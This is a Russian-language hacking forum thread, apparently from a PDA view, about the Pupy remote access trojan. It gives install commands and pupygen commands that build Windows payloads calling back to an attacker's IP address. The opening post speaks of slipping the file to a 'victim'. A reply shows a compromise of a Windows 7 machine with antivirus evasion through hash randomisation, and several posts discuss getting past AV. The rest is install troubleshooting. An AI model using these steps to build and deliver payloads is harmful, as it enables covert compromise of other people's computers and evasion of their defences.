PDA

Просмотр полной версии : PUPY Remote Administration Tool (RAT)


<~DarkNode~>
15.11.2016, 05:43
Сегодня посмотрим ,на мой взгляд , довольно таки не плохой мультиплатформенный RAT на питоне c очень большим функционалом.

Pupy может использовать различные протоколы шифрования для комуникации с жертвой (SSL,HTTP,RSA,obfs3,scramblesuit), мигрировать в процессы (reflective injection), подгружать удаленные python скрипты, python пакеты и python C-extensions из оперативной памяти.
Pupy может создавать payloads в различных форматах ,таких как PE executables, reflective DLLs, python files, powershell, apk, ...

После тестирования данного продукта мне он напомнил что то общее между meterpreter и модулями из PowerShell Empire Framework ,как интерфейсом так и модулями которые разработчики вложили в сей продукт.

Я считаю что его можно отлично использовать для:

security research

обучения

пентестинга

администрирования
И так давайте все же познакомимся с ним по ближе.
Создаем PAYLOAD
Ну для начала скачаем все же и установим зависимости(я делаk на Kali Linux):

Код:



git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule update --init --depth 1 pupy/payload_templates
git submodule init
git submodule update
pip install -r requirements.txt

Дальше идем в папку pupy и там нас пока что интересуют только два файла:
pupygen.py-сам билдер(генератор) так сказать иpupysh.pyсама серверная часть,консоль управления.

Я попытаюсь кратко описать функционал,иначе статья будет очень длинная. Одна из фишек этой тулзы это транспорты и скриплеты которые позволяют выбирать тип шифрования трафика ,а скриплеты позволяют запустить какой то модуль сразу же при старте вредоноса(например кейлоггер) Посмотреть список скриплетов и транспортов можно командой

Код:



python pupygen.py -l



Cгенерировать бинарник под виндоус систему можно следующей командой:

Код:



./pupygen.py -f exe_x86 -o ~/DarkNode.exe connect --host 192.168.137.137:443



После этого парим жертве(правда он скорее всего спалится антивирусом,но в следующих статья я научу его вас обходить,это ознакомительная часть)

Дальше все очень похоже на метерпретер сессию метаслоита:
Открываем сессию командой

Код:



session -i 1


пользуемся командамы
help

list_modules

run module_name -h









Спасибо за внимания.C Вами былDarkNode)

koldonuuchu
15.11.2016, 10:39
Зачет!

id2746
13.06.2017, 13:51
Инструмент периодически обновляется и является актуальным на сегодняшний день.

Пример компрометации для малоопытных пользователей:
В качастве атакующей систем kali linux 2017.1 с адресом 192.168.43.162
В качасве атакуемой системы win7 x64 c АВ NOD32.

Генерируем нагрузку:

Код:



./pupygen.py -f client -O windows -A x64 -o test_for_codeby.exe --randomize-hash connect --host 192.168.43.162:443


https://forum.antichat.xyz/attachments/4779225/img_15fa628795.png

Получаем файл (test_for_codeby.exe) с заданными параметрами:

https://forum.antichat.xyz/attachments/4779225/img_76e1dea8cd.png

он находится в папке с pupy:

https://forum.antichat.xyz/attachments/4779225/img_f36a886504.png

Доставляем файл на целевую систему, после чего из папку с pupy запускаем клиентскую часть:

Код:



./pupysh.py


https://forum.antichat.xyz/attachments/4779225/img_46c28ea5dc.png

Проверим файл NOD'ом c обновленными от 13.05.2017г. сигнатурами:

https://forum.antichat.xyz/attachments/4779225/img_55dd8a7eee.png

Как видим, всё ОК.

После запуска файла на целевой системе получаем сессию:

https://forum.antichat.xyz/attachments/4779225/img_26e3437d91.png

Список команд:

https://forum.antichat.xyz/attachments/4779225/img_bda596afd4.png

Наш процесс ID и разыв сессии:

https://forum.antichat.xyz/attachments/4779225/img_a8fd9ed36e.png

Спасибо ~~DarkNode~~ (https://forum.antichat.xyz/members/567506/)за обзор!!!
П.С. Мой пост к тому, что благодаря шифрованию и SSL ни брандмауэр ни АВ наш файл не заблокировали.
Минусом лично для меня является размер файла

https://forum.antichat.xyz/attachments/4779225/img_8e08ed7f7e.png

Еще добавлю.
В отличие от meterpreter, при разрыве сессии отсутствует необходимость повторной эксплуатации цели (в случае с pupy это повторный запуск вредоносного файла на целевой машине). Т.е. если процесс не был завершен, то достаточно повторно запустить листенер.

ghost
13.06.2017, 14:33
Avast детектировал файл test_for_codeby.exe как вирус!

id2746
13.06.2017, 14:56
Только что сгенерировал с отличными от первого файла параметрами, NOD молчит (тест в virtualbox)

https://forum.antichat.xyz/attachments/4779235/img_2710a77cf6.png



Вчера тестировал на реальной машине - тоже тишина
На VT не хочу загонять.

ghost
13.06.2017, 15:03
С отключенным антивирем прекрасно работает

kot-gor
13.06.2017, 20:48
сам пользуюсь этой утилитой( как пост эксплуатацией) ..впечатления хорошее, но палится некоторыми антивирусами.

id2746
19.09.2017, 12:37
на днях сгенерированный файл был спален на целевой системе стандартным виндовым АВ.

Ondrik8
19.09.2017, 13:30
id2746 сказал(а):

на днях сгенерированный файл был спален на целевой системе стандартным виндовым АВ.


в грей секции полно способов обхода АВ)) моя колонка))

Sharky
13.12.2017, 19:16
Опять ошибки при установке. Как же они за..Ладно.
При установке m2crypto возникала ошибка, поэтому пришлось:

Убрать строку m2crypto из requirements.txt

sudo apt-get install python-m2crypto
Также не мог установить кучу того, что требовалось, поэтому sudo.
Ещё не мог установить из-за того, что нужен python-dev. Решилось так:

sudo aptitude install python-dev

n [enter]

Y [enter]

sudo aptitude upgrade
Надеюсь помог тем, у кого та же проблема.
[Добавка от 13.12.2017: 16 - 03 МСК]
"Template not found (/home/server/Загрузки/Прочее/pupy/pupy/payload_templates/pupyx86.exe)"
Решение:

wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz

tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates
Ещё проблема с установкой PyAutoGUI.
Решение #1:

pip install python-xlib

sudo apt-get install scrot

sudo apt-get install python-tk

См. установку python-dev комментарием выше

pip install pyautogui
Решение #2:

Ставьте PyAutoGUI без SSH (т.е. не используя SSH)
Причина неизвестна, но так нужно сделать.

Sharky
03.02.2018, 00:22
Ubop0202 сказал(а):

Год прошел, появилась статья как скрывать РАТ от АВ?


Есть много способов скрыть exe файлы от АВ. Попробуй поискать ?.

Добрый Эх
09.10.2021, 14:23
привет всем. ребят, ну вот ни как не получается установить Pupy... или же запускается с ошибками....
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in
import pylzma
ImportError: No module named pylzma

Pernat1y
09.10.2021, 16:31
Добрый Эх сказал(а):

привет всем. ребят, ну вот ни как не получается установить Pupy... или же запускается с ошибками....
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in
import pylzma
ImportError: No module named pylzma


Скрипт намекает, что нужно доставить pylzma.

Добрый Эх
09.10.2021, 17:40
Pernat1y сказал(а):

Скрипт намекает, что нужно доставить pylzma.


я как раз этим и занмимаюсь и ни как не получается

Pernat1y
09.10.2021, 19:21
Добрый Эх сказал(а):

я как раз этим и занмимаюсь и ни как не получается

Покажите "python --version"
И попробуйте "python3 pupygen.py -l"

Добрый Эх
09.10.2021, 20:40
Pernat1y сказал(а):

Покажите "python --version"
И попробуйте "python3 pupygen.py -l"

Pernat1y
10.10.2021, 00:08
Добрый Эх сказал(а):

У тебя дефолтный python2, а пакет ты ставишь под третий.